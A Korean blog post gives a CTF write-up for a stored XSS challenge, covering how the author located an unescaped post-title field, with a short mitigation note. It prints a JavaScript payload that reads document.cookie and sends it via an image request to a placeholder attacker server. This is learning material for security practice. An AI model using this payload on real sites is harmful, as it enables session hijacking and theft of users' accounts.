Almon Dev

ctf 풀이 (XSS 1) 본문

모의해킹/모의해킹

ctf 풀이 (XSS 1)

Almon 2024. 12. 23. 01:23

ctf 문제 풀이

 

XSS 1

 

 

풀이

1. XSS 포인트 찾기

 

회원가입 기능

회원가입 때 서버에 저장된 아이디를 index.php에서 가져와 출력합니다.

아이디에 < ' " >와 같은 html 구조를 변경할 수 있는 특수문자가 가능하다면

스크립트를 삽입할 수 있습니다.

 

<'">를 아이디에 넣어서 회원가입에는 성공했지만

로그인에는 실패했습니다.

'를 \'으로 치환

 

게시판 CRUD 기능

글쓰기에서 제목 부분에서 < ' " >를 따로 치환하지 않고 출력하는 것을 확인했습니다.

이런 경우 글을 읽는 모든 사람의 브라우저에서 악성 스크립트가 실행되는 Stored XSS가 가능해 보입니다.

 

2. 스크립트 삽입하기

XSS 포인트를 찾았으니 삽입할 스크립트를 만들 차례입니다.

관리자의 쿠키를 탈취하는 것이 목표로 HTTP를 통해 제 서버로 전송하도록 하겠습니다.

 

이미지 태그를 생성해서 src를 설정하면 브라우저는 이미지 파일을 가져오기 위해 GET요청을 보냅니다.

이것을 이용해 공격자 서버로 쿠키를 전송할 수 있습니다.

let c = document.cookie;
let i = new Image();
i.src = `http://공격자 서버?cookie=${c}`;

게시글 작성
게시글 확인

 

3. 스크립트 실행하기

관리자 방문 봇 사이트를 이용해서 스크립트를 삽입한 게시글의 URL을 입력하면

관리자의 쿠키가 제 서버로 전송될 겁니다.

 

 

대응 방법

  • 사용자의 입력을 HTML Entity로 변환해서 저장합니다. ex) < >를 &lt, &gt로 변환

'모의해킹 > 모의해킹' 카테고리의 다른 글

ctf 풀이 (XSS 3)  (0) 2024.12.23
ctf 풀이 (XSS 2)  (1) 2024.12.23
모의해킹 공부 10주차 (XSS)  (0) 2024.12.20
모의해킹 공부 9주차 (XSS)  (1) 2024.12.13
ctf 풀이 (SQL Injection Point 4)  (1) 2024.12.11